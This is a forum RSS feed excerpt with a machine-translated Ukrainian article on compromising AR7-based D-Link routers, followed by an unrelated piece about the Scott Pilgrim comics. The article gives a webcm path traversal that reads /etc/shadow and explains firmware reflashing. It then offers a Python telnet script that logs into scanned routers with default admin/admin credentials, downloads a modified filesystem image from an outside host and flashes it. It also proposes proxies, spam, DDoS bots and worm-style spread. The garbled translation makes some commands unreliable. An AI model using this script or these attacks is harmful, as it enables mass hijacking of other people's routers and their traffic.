						&lt;p&gt;# Cat / proc / cpuinfo&lt;br /&gt;processor: 0&lt;br /&gt;cpu model: MIPS 4KEc V4.8&lt;br /&gt;BogoMIPS: 149.91&lt;br /&gt;wait instruction: no&lt;br /&gt;microsecond timers: yes&lt;br /&gt;extra interrupt vector: yes&lt;br /&gt;hardware watchpoint: yes&lt;br /&gt;VCED exceptions: not available&lt;br /&gt;VCEI exceptions: not available&lt;/p&gt;
						&lt;p&gt;AR7 - це двоядерний чіп, розроблений компанією Texas Instruments. Він містить повноцінний ADSL-роутер на одному чіпі, який працює в стандарті ADSL1, ADSL2, ADSL2. Заснований на високопродуктивному RISC процесорі MIPS 4KEc, з тактовою частотою 175 або 233 (залежно від технології виробництва: 18 мкм або 13 мкм). Чіп містить на борту 2 UART-інтерфейсу, один з яких (UART_A) використовується для виведення налагоджувальної інформації, а також EJTAG-інтерфейс, службовець для налагодження (прошивки) Flash0памяті. Про використання цих інтерфейсів буде розказано далі.&lt;/p&gt;
						&lt;p&gt;Наостанок я подивився відомості про пам&#039;ять:&lt;/p&gt;
						&lt;p&gt;# Cat / proc / mounts&lt;br /&gt;/ Dev/mtdblock/0 / squashfs ro 0 0&lt;br /&gt;none / dev devfs rw 0 0&lt;br /&gt;proc / proc proc rw 0 0&lt;br /&gt;ramfs / var ramfs rw 0 0&lt;/p&gt;
						&lt;p&gt;# Cat / proc / mtd&lt;br /&gt;dev: size erasesize name&lt;br /&gt;mtd0: 0034f000 00010000 &amp;quot;mtd0&amp;quot;&lt;br /&gt;mtd1: 00090f70 00010000 &amp;quot;mtd1&amp;quot;&lt;br /&gt;mtd2: 00010000 00002000 &amp;quot;mtd2&amp;quot;&lt;br /&gt;mtd3: 00010000 00010000 &amp;quot;mtd3&amp;quot;&lt;br /&gt;mtd4: 003e0000 00010000 &amp;quot;mtd4&amp;quot;&lt;/p&gt;
						&lt;p&gt;Природно, не забувши про адреси блоків:&lt;/p&gt;
						&lt;p&gt;# Cat / proc / ticfg / env | grep mtd&lt;br /&gt;mtd0 0x900a1000, 0x903f0000&lt;br /&gt;mtd1 0x90010090, 0x900a1000&lt;br /&gt;mtd2 0x90000000, 0x90010000&lt;br /&gt;mtd3 0x903f0000, 0x90400000&lt;br /&gt;mtd4 0x90010000, 0x903f0000&lt;/p&gt;
						&lt;p&gt;З вищеописаного випливало, що Flash-пам&#039;ять (/ dev / mtdblock) має 5 блоків:&lt;/p&gt;
						&lt;p&gt;mtd0 - образ файлової системи SquashFs. Це спеціальна файлова система, що знаходиться в стислому стані і доступна тільки для читання. Для стиснення використовується алгоритм gzip, але в даному випадку - LZMA (коефіцієнт стиснення вищий). Розмір цього блоку дорівнює 4 Мб.&lt;/p&gt;
						&lt;p&gt;mtd1 - цей блок містить ядро MontaVista в стислому LZMA алгоритмом стані, розмір блоку 600 Кб.&lt;/p&gt;
						&lt;p&gt;mtd2 - Bootloader ADAM2, виконує завантаження ядра, так само має сервісний FTP-сервер для відновлення і перепрошивки. Докладніше про нього буде сказано далі. Розмір блоку дорівнює 64 Кб.&lt;/p&gt;
						&lt;p&gt;mtd3 - поділений між конфігураційними даними і environment (змінні оточення) блоком, поглянути на який можна в / proc / ticfg / env. Конфігураційні дані знаходяться в / etc / config.xml. Посередником між файловою системою блоком конфігурації є закрита (як і всі cm_ *, керуючі, про них пізніше) програма cm_logic. Розмір цього блоку - також 64 Кб.&lt;/p&gt;
						&lt;p&gt;mtd4 - тут міститься сигнатура прошивки, ядро і образ файлової системи. Використовується цей блок при оновленні прошивки через Web-інтерфейс. Спочатку вона складується в цей блок, потім перевіряється контрольна сума і, якщо сходиться, записується на своє нове місце.&lt;/p&gt;
						&lt;p&gt;Оперативна пам&#039;ять (у цій моделі розміром 16 Мб, але ADAM2 в цій моделі бачить тільки 14 Мб, лікується оновленням), змонтована до директорії / var, і її спокійно можна використовувати в наших цілях:&lt;/p&gt;
						&lt;p&gt;# Free&lt;br /&gt;total used free shared buffers&lt;br /&gt;Mem: 14276 10452 3824 0&lt;/p&gt;
						&lt;p&gt;Не забудемо пробігтися по списку процесів. Із цікавих тут затаїлися демони: thttpd - Web-server; dproxy - кешуючий DNS запити proxy server; ddnsd - DNS daemon; pppd ... - Власне daemon, який реалізує підключення за протоколом PPP, а в параметрах ми бачимо дані облікового запису. Отже, якщо роутер не прикидається шлангом (читай - не знаходиться в режимі bridge), то можна з легкістю отримати обліковий запис.&lt;/p&gt;
						&lt;p&gt;Програми cm_ * є закритими і до складу вихідних кодів входять вже скомпільований (ці програми - також розробка Texas Instruments, на D-Link за недотримання ліцензій лаятися не варто).&lt;/p&gt;
						&lt;p&gt;cm_logic - програма керуюча логікою роботи системи, через неї проходить конфігурація; виробляє синхронізацію / etc / config.xml з відповідною частиною вмісту / dev / ticfg (вказує на mtd3).&lt;/p&gt;
						&lt;p&gt;cm_cli - інтерфейс командного рядка для керування та конфігурації системи. Наприклад, настройки підключень проводяться через цей інтерфейс.&lt;/p&gt;
						&lt;p&gt;cm_pc - виконує запуск і моніторинг процесів, зв&#039;язку з правилами (наприклад, запускати програму як демон, також у правила входить інформація про відкриваються портах) описаними в / etc / progdefs.xml; завантажується відразу після ядра.&lt;/p&gt;
						&lt;p&gt;webcm - CGI-інтерфейс, дірявий, наприклад дозволяє поглянути на / etc / shadow, просто звернувшись по URL.&lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://192.168.1.1/../../../etc/shadow&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://192.168.1.1/../../../etc/shadow&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Нічого не отримав, thttpd не такий простий, а от якщо так:&lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://192.168.1.1/cgi-bin/webcm?getpage=/etc/shadow&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://192.168.1.1/cgi-bin/webcm?getpage=/etc/shadow&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Інша справа. Це можна використовувати для збору інформації, якщо немає доступу до ssh / telnet, але є доступ до Web-інтерфейсу.&lt;/p&gt;
						&lt;p&gt;firmwarecfg - використовується для прошивки через Web-інтерфейс. На вхід цієї програми POST-запитом з Web-інтерфейсу передається образ, а вона вже перенаправляє до Flash-пам&#039;яті, попередньо перевіривши контрольну суму образу.&lt;/p&gt;
						&lt;p&gt;На цьому збір первинної інформації закінчений, пора переходити до рішучих дій.&lt;br /&gt;Установка засобів розробки та компіляція прошивки&lt;/p&gt;
						&lt;p&gt;Прошивки роутерів D-Link (та й всіх інших, заснованих на GNU / Linux) поширюються під ліцензією GPL, отримати їх можна на офіційному FTP-сервер. Насправді можна вибрати будь-яку зі списку запропонованих прошивок, вони однакові (щодо T-серії). В поставці - вихідні коди ядра, оточення, необхідних інструментів і toolchain для розробки / компіляції існуючих програм. Його слід розпакувати в корінь і додати в змінну оточення PATH шлях до bin-директорії toolchain `a:&lt;/p&gt;
						&lt;p&gt;$ Tar xvf tools.tgz&lt;br /&gt;$ Export PATH = $ PATH: / opt / &amp;lt;toolchain_path&amp;gt;&lt;/p&gt;
						&lt;p&gt;Тепер, щоб скомпілювати свою власну прошивку, заходимо в директорію з вихідними кодами і виконуємо цей самий make.&lt;/p&gt;
						&lt;p&gt;$ Cd DSL/TYLinuxV3/src &amp;amp; &amp;amp; make&lt;/p&gt;
						&lt;p&gt;Буде задано безліч питань про включення підтримки пристроїв (краще відповісти на них позитивно). Після закінчення компіляції в директорії TYLinuxV3/images будуть створені образи прошивки. Також можна запустити скрипт, однойменний з твоєї моделлю з директорії / TYLinuxV3/src/scripts.&lt;/p&gt;
						&lt;p&gt;Пару слів про передачу файлів між роутером і комп&#039;ютером. Самий перший спосіб, який я застосував - можливість передачі файлів по протоколу SSH, використовуючи для цього програму scp. Але трохи пізніше я дізнався, що mc (Midnight Commander) також має можливість з&#039;єднуватися по SSH (Panel -&amp;gt; Shell connection). Як варіант, можна підняти на своєму робочому місці Web-або FTP-сервер. Пізніше я віддав перевагу Web-сервера, бо працює він найбільш жваво. Встановив я thttpd, маленький і швидкий, як і на роутері. Запускаємо у себе і стягаємо на роутер файл, попередньо перейшовши в директорію / var (вона, як говорилося раніше, доступна для запису).&lt;/p&gt;
						&lt;p&gt;$ Thttpd-g-d ~ / ForRouter-u user-p 8080&lt;br /&gt;# Cd / var&lt;br /&gt;# Wget &lt;a href=&quot;http://192.168.1.2/file&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://192.168.1.2/file&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Щоб стягнути файл з роутера, можна також підняти Web-server:&lt;/p&gt;
						&lt;p&gt;# Thttpd-g-d / var-u root-p 8080&lt;/p&gt;
						&lt;p&gt;Зверни увагу, якщо ти хочеш завантажити роутера виконуваний файл, слід прибрати права на запуск. При завантаженні великої кількості файлів з роутера краще використовувати mc, не потрібно буде попередньо копіювати файли в / var і прибирати права, а після - видаляти ці файли для звільнення місця. Загалом, справа смаку, вибирай будь-який варіант, який тобі зручний.&lt;br /&gt;Створення своєї програми&lt;/p&gt;
						&lt;p&gt;Почнемо, звичайно ж, з класики програмування - HelloWorld. Якихось особливих правил немає. Текст програми до болю знайомий:&lt;/p&gt;
						&lt;p&gt;# Include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;# Include &amp;lt;stdlib.h&amp;gt;&lt;/p&gt;
						&lt;p&gt;int main (void)&lt;br /&gt;{&lt;br /&gt;printf (&amp;quot;Mate.Feed.Kill.Repeat.&amp;quot;);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Компілюємо (шлях до toolchain&#039;а повинен бути вказаний у змінній оточення PATH):&lt;/p&gt;
						&lt;p&gt;$ Mips_fp_le-gcc hell.c-o hell&lt;br /&gt;$ Mips_fp_le-strip-s hell&lt;/p&gt;
						&lt;p&gt;Далі, копіюємо програму на роутер в директорію / var, встановлюємо права на запуск і запускаємо:&lt;/p&gt;
						&lt;p&gt;# Cd / var&lt;br /&gt;# Chmod x hell&lt;br /&gt;#. / Hell&lt;/p&gt;
						&lt;p&gt;І. .. нічого не станеться, або вивалиться оповіщення path not found. У чому ж справа? Я раніше вже говорив про cm_pc - ця програма запускає інші відповідно до правил, описаними в / etc / progdefs.xml. Ось і прийшов час модифіковані і прошивати образи файлової системи.&lt;br /&gt;Модифікація файлової системи&lt;/p&gt;
						&lt;p&gt;Для того, щоб модифікувати файлову систему, її спершу треба розпакувати. Як я вже згадував, файлова система тут - SquashFs з патчем LZMA. У пакет для розробки прошивок входить тільки програма mksquashfs (для створення образу), unsquashfs (для розпаковування) відсутня. Але це не біда, всі є на сайті файлової системи, потрібна нам саме перша версія. Наклавши LZMA-патч і зібравши утиліти, відкладаємо їх у зручне місце. Для початку отримаємо образ файлової системи з роутера:&lt;/p&gt;
						&lt;p&gt;# Cat / dev/mtdblock/0&amp;gt; / var / fs.img&lt;/p&gt;
						&lt;p&gt;І завантажити зручним способом.&lt;/p&gt;
						&lt;p&gt;Далі, розпаковуємо образ:&lt;/p&gt;
						&lt;p&gt;$ Mkdir unpacked_fs&lt;br /&gt;$ Unsquashfs fs.img unpacked_fs&lt;/p&gt;
						&lt;p&gt;Тепер можна модифікувати як завгодно, а завгодно нам скинути FuckTheWorld в директорію / bin і додати правило для запуску в / etc / progdefs.xml.&lt;/p&gt;
						&lt;p&gt;$ Cp hello unpacked_fs / bin&lt;br /&gt;$ Vim unpacked_fs / etc / progdefs.xml&lt;/p&gt;
						&lt;p&gt;А додаємо ось що (між тегами &amp;lt;progdefs&amp;gt; &amp;lt;/ progdefs&amp;gt;):&lt;/p&gt;
						&lt;p&gt;&amp;lt;program&amp;gt;&lt;br /&gt;&amp;lt;name&amp;gt; hell &amp;lt;/ name&amp;gt;&lt;br /&gt;&amp;lt;path&amp;gt; / bin / hell &amp;lt;/ name&amp;gt;&lt;br /&gt;&amp;lt;/ Program&amp;gt;&lt;/p&gt;
						&lt;p&gt;Зберігаємо і запаковуємо назад:&lt;/p&gt;
						&lt;p&gt;$ Mksquashfs unpacked_fs my_fs.img-noappend&lt;/p&gt;
						&lt;p&gt;Слід звернути увагу, що образ файлової системи не повинен перевищувати допустимих розмірів. Якщо тобі закортіло щось терміново випробувати, і воно не поміщається, видали з образу що-небудь &amp;quot;непотрібне&amp;quot; виду grep, whoami, або ж скористайся пакувальником виконуваних файлів UPX. Тепер завантажуємо на роутер образ і переходимо до наступного розділу.&lt;br /&gt;Запис образу файлової системи&lt;/p&gt;
						&lt;p&gt;Спосіб прошивки роутера дуже простий, полягає він у зверненні до пристрою / dev / mtdblock / *. Отже, заливаємо на роутер будь-яким зручним способом образ файлової системи і виробляємо це нехитре дію:&lt;/p&gt;
						&lt;p&gt;# Cat my_fs.img&amp;gt; / dev/mtdblock/0 &amp;amp; &amp;amp; reboot&lt;/p&gt;
						&lt;p&gt;або&lt;/p&gt;
						&lt;p&gt;# Cp my_fs.img / dev/mtdblock/0 &amp;amp; &amp;amp; reboot&lt;/p&gt;
						&lt;p&gt;Через деякий час, коли пройде процес запису, роутер перезавантажиться, і зміни набудуть чинності. Пробуємо запустити наш приклад:&lt;/p&gt;
						&lt;p&gt;# Hell&lt;br /&gt;Mate.Feed.Kill.Repeat.&lt;/p&gt;
						&lt;p&gt;Вийшло! Чудово. Йдемо далі.&lt;br /&gt;Способи відновлення у випадку невдачі&lt;/p&gt;
						&lt;p&gt;Перш ніж прошивати роутер більш серйозними &amp;quot;виробами&amp;quot; слід дізнатися, як же діяти в критичних випадках, коли маршрутизатор відмовляється завантажуватися. Безвихідних ситуацій немає. На допомогу приходить ADAM2 FTP-сервер. Для початку слід запустити FTP-клієнт на IP-адресу ADAM2, який можна підглянути в / proc / ticfg / env (параметр my_ipaddress).&lt;/p&gt;
						&lt;p&gt;Далі слід включити роутер із затиснутою кнопкою reset, і через деякий мить з&#039;явиться запрошення.&lt;/p&gt;
						&lt;p&gt;$ Ftp 192.168.1.199&lt;br /&gt;220 ADAM2 FTP Server ready.&lt;br /&gt;530 Please login with USER and PASS.&lt;/p&gt;
						&lt;p&gt;Для наочності можна включити налагоджувальний режим, тоді будуть виводитися вся інформація і всі відповіді FTP:&lt;/p&gt;
						&lt;p&gt;ftp&amp;gt; debug&lt;/p&gt;
						&lt;p&gt;Логін / пароль - adam2/adam2. Процес перепрошивання дуже простий. Для початку переводимо сесію FTP в бінарний режим:&lt;/p&gt;
						&lt;p&gt;ftp&amp;gt; bin&lt;/p&gt;
						&lt;p&gt;Далі вибираємо Flash-пам&#039;ять для запису:&lt;/p&gt;
						&lt;p&gt;ftp&amp;gt; quote MEDIA FLSH&lt;/p&gt;
						&lt;p&gt;Тепер відправляємо, наприклад, образ файлової системи і вказуємо місце призначення:&lt;/p&gt;
						&lt;p&gt;ftp&amp;gt; put fs.img &amp;quot;fs.img mtd0&amp;quot;&lt;/p&gt;
						&lt;p&gt;Чекаємо закінчення запису, перезавантажуємо роутер, виходимо з сесії:&lt;/p&gt;
						&lt;p&gt;ftp&amp;gt; quote REBOOT&lt;br /&gt;ftp&amp;gt; quit&lt;/p&gt;
						&lt;p&gt;Все! Як бачиш, немає нічого складного, тепер якщо щось піде не так, ти завжди можеш виправити ситуацію.&lt;/p&gt;
						&lt;p&gt;Для зручності роботи, варто дати нормальний IP-адресу, включити автоматичне завантаження (щоб з reset&#039;ом не танцювати) і трохи збільшити час очікування підключення перед завантаженням ядра. Всі ці параметри зберігаються в змінних оточення, є спеціальні команди FTP ADAM2: GETENV і SETENV (для отримання та встановлення змінної відповідно). У сесії FTP вводимо наступні команди:&lt;/p&gt;
						&lt;p&gt;ftp&amp;gt; SETENV autoload, 1&lt;br /&gt;ftp&amp;gt; SETENV autoload_timeout, 8&lt;br /&gt;ftp&amp;gt; SETENV my_ipaddress, 192.168.1.1&lt;br /&gt;ftp&amp;gt; quote REBOOT&lt;br /&gt;ftp&amp;gt; quit&lt;/p&gt;
						&lt;p&gt;Роутер перезавантажується і можна зайти на ADAM2 по 192.168.1.1:21. Якщо з&#039;явиться бажання перепрошити образ ядра, і ядро відмовиться завантажуватися, FTP запуститься сам. Перед прошивкою модифікованими образами обов&#039;язково слід зберегти поточні для відновлення. Взагалі, змінити змінні оточення можна і через / proc / ticfg / env, мені просто захотілося розповісти більше про роботу з FTP.&lt;/p&gt;
						&lt;p&gt;# Echo my_ipaddress 192.168.1.1&amp;gt; proc / ticfg / env&lt;/p&gt;
						&lt;p&gt;А перевірити зміни можна так:&lt;/p&gt;
						&lt;p&gt;# Cat / proc / ticfg / env | grep my_ipaddress&lt;/p&gt;
						&lt;p&gt;Що робити, якщо ти захотів спробувати перепрошити завантажувач, і як діяти у разі невдачі? Або роутер з якихось причин не запускається, і немає доступу до ADAM2? Вихід є - JTAG, а точніше, в цьому чіпі присутній EJTAG (розширена версія). Це інтерфейс для внутрішньосхемного налагодження \ програмування.&lt;/p&gt;
						&lt;p&gt;Для підключення до цього інтерфейсу нам знадобиться LPT-порт комп&#039;ютера, роз&#039;єми і 4 резистора. Схема проста.&lt;/p&gt;
						&lt;p&gt;Поспішаю відмітити, що прошивка через JTAG - справа не швидка, займе досить багато часу. Так що використовувати варто лише для відновлення завантажувача, якщо навіть він не працює. Для спілкування з JTAG слід використовувати спеціальну програму, наприклад UrJTAG. Нижче наведено приклад роботи до цього інтерфейсу. Установка зв&#039;язку:&lt;/p&gt;
						&lt;p&gt;jtag&amp;gt; cable parallel 0x378 DLC5&lt;br /&gt;jtag&amp;gt; detect&lt;/p&gt;
						&lt;p&gt;Виявлення Flash-пам&#039;яті:&lt;/p&gt;
						&lt;p&gt;jtag&amp;gt; detectflash 0x30000000 1&lt;/p&gt;
						&lt;p&gt;Читання Flash-пам&#039;яті:&lt;/p&gt;
						&lt;p&gt;jtag&amp;gt; readmem 0x30000000 0x400000 fullflash.img&lt;/p&gt;
						&lt;p&gt;Запис в пам&#039;ять (завантажувача):&lt;/p&gt;
						&lt;p&gt;jtag&amp;gt; flashmem 0x30000000 adam2.img&lt;/p&gt;
						&lt;p&gt;Корисно також знати про UART-інтерфейсі (раніше я обіцяв про нього розповісти). У UART_A звітує, тобто веде лог завантажувач (на ранній стадії завантаження з ним можна і поспілкуватися) і ядро. При написанні модифікованих ядер це незамінне для налагодження. UART - Universal Asynchronous Receiver / Transmitter (універсальний асинхронний приймач) майже завжди присутня на мікроконтролерах.&lt;/p&gt;
						&lt;p&gt;Схема адаптера дуже проста. Базується лише на одній мікросхемі - перетворювачі рівнів TTL: MAX232 для COM і FT232R для USB. Мікросхеми досить поширені і проблем з покупкою не буде.&lt;/p&gt;
						&lt;p&gt;Схема збирається на макетної платі (яку спокійно можна помістити в корпус роз&#039;єму COM-порту) за 20 хвилин і приносить море користі. Наприклад, при налагодженні ядра це абсолютно незамінний рішення. А якщо з електронікою туго? Виходом є USB-шнури для старих телефонів, на них якраз стоїть перетворювач UART - USB.&lt;br /&gt;Деякі ідеї поширення&lt;/p&gt;
						&lt;p&gt;Свій проксі \ сокс на чужому роутері - це здорово. Як, власне, і спамящій по всіх протоколах маршрутизатор. Це тобі не комп&#039;ютер з Windows, яку переставляють кожен місяць:). Роутери часто не міняють і не перепрошивати. Та й кому крім нас спаде в голову сама ідея інфікування роутера?&lt;/p&gt;
						&lt;p&gt;Не забувай, під контролем у нас весь трафік від користувача / мережі. На більш потужних роутерах вже і DDOS-бота можливо повісити. Сховати файл / приховати процес, перехоплювати запис у mtd блоки виключивши затирання нашої програми - все, що завгодно!&lt;/p&gt;
						&lt;p&gt;Припустимо, ти зібрався взятися за написання серйозної програми для роутера. Важлива дуже хороша налагодження, напевно доведеться купу разів переписувати / відновлювати образи ... Це дуже сумна перспектива. Навіть руки трохи опускаються, якщо ще й врахувати, що ресурс перезапису у Flash-пам&#039;яті невеликий (докладніше в документації до мікросхеми пам&#039;яті), і є перспектива угробити її. Але вихід є! Qemu може емулювати AR7! Ти уявляєш, які це дає можливості і безмежне зручність? Тепер нам нічого не заважає написати щось неймовірно класне!&lt;/p&gt;
						&lt;p&gt;Отже. Ти написав програму, перевірив на своєму або 1-2 чужих роутерах, але ж ще вся мережа попереду, вручну заражати клопітно, на 10-му роутері вже починаєш проклинати весь світ, і пливе в очах від низок &amp;quot;cat&amp;quot; і &amp;quot;mtd&amp;quot;. Напишемо програму для автоматизації цих рутинних дій. Я вибрав мову python.&lt;/p&gt;
						&lt;p&gt;План роботи такий:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Складаємо список роутерів, наприклад, за допомогою nmap;&lt;br /&gt;&amp;#160; &amp;#160; * Скрипт повинен брати зі списку по порядку IP-адреси, заходити через telnet зі стандартним логіном \ паролем;&lt;br /&gt;&amp;#160; &amp;#160; * Далі ті самі дії: закачуємо модифікований образ, перезаписувати, перезавантажуємося.&lt;/p&gt;
						&lt;p&gt;#! / Usr / bin / env python&lt;br /&gt;# Encode = UTF-8&lt;/p&gt;
						&lt;p&gt;import telnetlib, time&lt;/p&gt;
						&lt;p&gt;SERVER = &amp;quot;http://anyhost.com/fs.image&amp;quot;&lt;/p&gt;
						&lt;p&gt;for addr in open (&amp;quot;iplist.txt&amp;quot;):&lt;br /&gt;telnet = telnetlib.Telnet (addr)&lt;br /&gt;telnet.set_debuglevel (1)&lt;br /&gt;telnet.read_until (&amp;quot;login:&amp;quot;)&lt;br /&gt;time.sleep (5)&lt;br /&gt;telnet.write (&amp;quot;admin \ n&amp;quot;)&lt;br /&gt;telnet.read_until (&amp;quot;Password:&amp;quot;)&lt;br /&gt;telnet.write (&amp;quot;admin \ n&amp;quot;)&lt;br /&gt;telnet.read_until (&amp;quot;#&amp;quot;)&lt;br /&gt;telnet.write (&amp;quot;cd / var &amp;amp; &amp;amp; wget&amp;quot; SERVER)&lt;br /&gt;telnet.read_until (&amp;quot;#&amp;quot;)&lt;br /&gt;telnet.write (&amp;quot;cat fs.image&amp;gt; / dev/mtdblock/0&amp;quot;)&lt;br /&gt;telnet.read_until (&amp;quot;#&amp;quot;)&lt;br /&gt;telnet.write (&amp;quot;reboot&amp;quot;)&lt;br /&gt;telnet.close ()&lt;/p&gt;
						&lt;p&gt;Логіка роботи скрипта дуже далека від ідеалу, зараз поясню, чому. Для початку слід перевіряти версію прошивки / ядра і модель роутера, бо можуть бути серйозні відмінності в роботі. Далі, замість заготовок прошивок слід викачувати образ файлової системи з роутера, розпаковувати, модифікувати і відправляти назад. Це не повинно викликати проблем, що виникають з сумісністю в різних моделях / версіях прошивок, адже стійкість роботи для тебе - найголовніше. Також вірус може мати функції хробака, і, якщо є бажання, завжди можна прикрутити до нього сканер мережі, брутфорс для RDP і подібні фішки.&lt;/p&gt;
						&lt;p&gt;Є ще один чудовий спосіб поширення. Нічого не заважає написати програму під Windows, яка буде мати при собі (або завантажувати зі свого сервера) образ файлової системи і заражати їм роутер, якщо він присутній. Поширювати цю програму усіма &amp;quot;стандартними&amp;quot; способами: знімні накопичувачі, експлойти під програми, зараження інших програм ... Комбінуючи ці способи, можна влаштувати серйозну пандемію. Ти тільки уяви собі цю картину - адже подібні пристрої поширені повсюдно.&lt;br /&gt;Захист роутера&lt;/p&gt;
						&lt;p&gt;Розкопавши все це, я подумав: як же можна захистити роутер? А то, дивись, і сам потраплю. Насамперед слід змінити пароль користувачів на більш складний і довгий (обмеження - 8 символів), змінити банери та привітання сервісів (hex-редактором, або, що краще, перекомпілювати програми), щоб nmap або інші сканери не могли визначити версії сервісів.&lt;/p&gt;
						&lt;p&gt;Також слід змінити порти, на яких висять демони. Робиться це шляхом модифікації progdefs.xml. Вбити telnet (до нього простіше за все підібрати пароль, та й протокол незахищений, навіщо він нам), включити firewall, дозволити підключення до сервісів тільки з власного IP-або MAC-адреси. Також використовуй firewall для захисту мережі або комп&#039;ютера, не дарма ж він присутній. Грамотна настройка правил завжди допоможе захиститися.&lt;br /&gt;Висновок&lt;/p&gt;
						&lt;p&gt;Багато хто, не тільки D-Link-роутери та інші подібні пристрої побудовані на чіпі AR7, в список входять Acorp, NetGear, Linksys, Actionec ... Досить популярний цей AR7 разом з MontaVista. Звідси випливає, що, використовуючи той же toolchain, без особливих проблем можна провести дії, описані в статті.&lt;/p&gt;
						&lt;p&gt;Задумайся: крім шкідливих дій можна зробити і корисне / приємне собі та іншим (не сперечаюся, задоволення від злому замінити неможливо, але все ж). Можна робити свої прошивки, наприклад, більш потужні роутери, здатні качати / роздавати торренти ... Всі моделі мають USB 1.1-інтерфейс, але в молодших моделях він не розпаяний. Додати до ядра USB-модуль і драйвер файлової системи, забезпечити роутер Flash-пам&#039;яттю - і в підсумку вийде отаке мережеве сховище за невеликі гроші. Варіантів маса, а ідеї повинні виникати тисячами - не обмежуй себе, твори і твори!&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:19:44 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=22#p22</guid>
		</item>
		<item>
			<title>Скотт Пілігрим проти всіх</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=21#p21</link>
			<description>&lt;p&gt;Часи, коли для завоювання дами серця потрібно було втихомирювати драконів і вбивати велетнів, пішли в минуле. Для всіх, окрім скромного басиста з починаючої рок-групи Скотта Пілігрима. Щоб ніщо не заважало його щастя, він повинен перемогти сім зловісних &amp;quot;колишніх&amp;quot; своєї нової дівчини. А оскільки Рамона не тільки кур&#039;єр, але і ніндзя, &amp;quot;колишні&amp;quot; у неї один одного крутіше. Хто придумав цю дивну історію і хто переніс її на екран? Е.&lt;br /&gt;За чужим стопах&lt;/p&gt;
						&lt;p&gt;Всі художні революції протікають однаково. Радикальні творці відкидають обридлі штампи і черпають натхнення з реальності. Правда, не завжди з реальності, даної у безпосередніх відчуттях. Майстри Відродження відтворювали античні скульптури, авангардисти вивчали процеси всередині головного мозку, а багато західні художники коміксів початку XXI століття вчилися не у своїх попередників, а у японських колег.&lt;/p&gt;
						&lt;p&gt;Одним з тих, кому японська манга (буквально &amp;quot;смішні картинки&amp;quot;) дала більше, ніж американські комікси про супергероїв, був канадець Браян Лі-О&#039;Меллі, уродженець міста Лондон в провінції Онтаріо. Зрозуміло, для хлопця з корейськими коріннями це було цілком природно, але, за словами художника, його сім&#039;я настільки асимільована, що східної в їх будинку була тільки їжа. Так що мангу Брайан освоював нарівні з іншими &amp;quot;отаку&amp;quot; (західними фанатами японського маскульту) - спершу за її анімаційним екранізаціями, які можна було знайти на відео і зловити по ТБ, а потім по поширювалося через Інтернет аматорським перекладам і з часом з&#039;явилися легальним виданням у Канаді та США.&lt;/p&gt;
						&lt;p&gt;Не те щоб Брайан зовсім ігнорував комікси DC і Marvel. У 1990-ті, коли він був підлітком, видавалося занадто багато цікавих західних коміксів, щоб хлопець з художніми схильностями міг їх не помічати. Проте в історіях про Бетмена або Людину-павука було занадто багато неймовірних пригод і занадто мало того, що Брай на по-справжньому хвилювало. Читачі західних коміксів могли дізнатися з них, як врятувати Всесвіт від інопланетян, але мало що могли почерпнути про догляді за дівчатами або про створення &amp;quot;гаражних&amp;quot; рок-груп.&lt;/p&gt;
						&lt;p&gt;Зрозуміло, в манзі теж було багато епічного і неймовірного. Так, героями &amp;quot;Ранми 1 / 2&amp;quot;, одного з перших улюблених японських коміксів Лі-О&#039;Меллі, були майстри бойових мистецтв, наділені надприродними здібностями. Але серцем манги Руміко Такахасі були не поєдинки, а романтичні переживання підлітків, які шукають &amp;quot;золоту середину&amp;quot; між західним проходженням за почуттями і східним підпорядкуванням батькам.&lt;/p&gt;
						&lt;p&gt;Читаючи &amp;quot;Ранму&amp;quot; та інші ліричні японські комікси, Лі-О&#039;Меллі з часом почав їм наслідувати, малюючи вигадані історії про себе і про своїх друзів. Деякі з цих речей художник викладав в Інтернет, і поступово він став шанованою людиною серед коміксеров-любителів Торонто. Потім, знову ж таки через Мережу, Брайан познайомився з професіоналами з США, через них вийшов на менеджерів великої комікс-студії Image Comics, зробив для них деяку роботу, а потім у 2002 році знайшов себе в американській компанії Oni Press, яка принципово не видає комікси про супергероїв і майже не публікує довгі серіали.&lt;/p&gt;
						&lt;p&gt;Першим коміксом Oni, над яким Брайан працював як художник, були &amp;quot;Безнадійні дикуни&amp;quot; - історія про сім&#039;ю панків 1970-х, що намагаються прижитися в американському передмісті. Робота зі сценаристом Дженван метер стала для Лі-О&#039;Меллі школою письменницької справи, і вже в наступному, 2003 році Брайан опублікував &amp;quot;Втрачену в море&amp;quot; - свій перший повноцінний комікс як художника і сценариста.&lt;/p&gt;
						&lt;p&gt;Лі-О&#039;Меллі було цікаво складати комікс-повість про сором&#039;язливою дівчині, яка їде з Каліфорнії до Ванкувера, намагаючись розібратися в собі і в своїх почуттях, але друзям художника &amp;quot;Втрачена&amp;quot; здавалася занадто &amp;quot;дівчачої&amp;quot; і недостатньо захоплюючою. А оскільки у Брайана в той час тільки почали з&#039;являтися прихильники і в основному він складав і малював для своїх приятелів, то хлопець вирішив, що треба придумати щось більш цікаве і &amp;quot;мужнє&amp;quot;. Так народився комікс, який ми зараз знаємо під назвою &amp;quot;Скотт Пілігрим&amp;quot;.&lt;br /&gt;Бій іде не заради слави ...&lt;/p&gt;
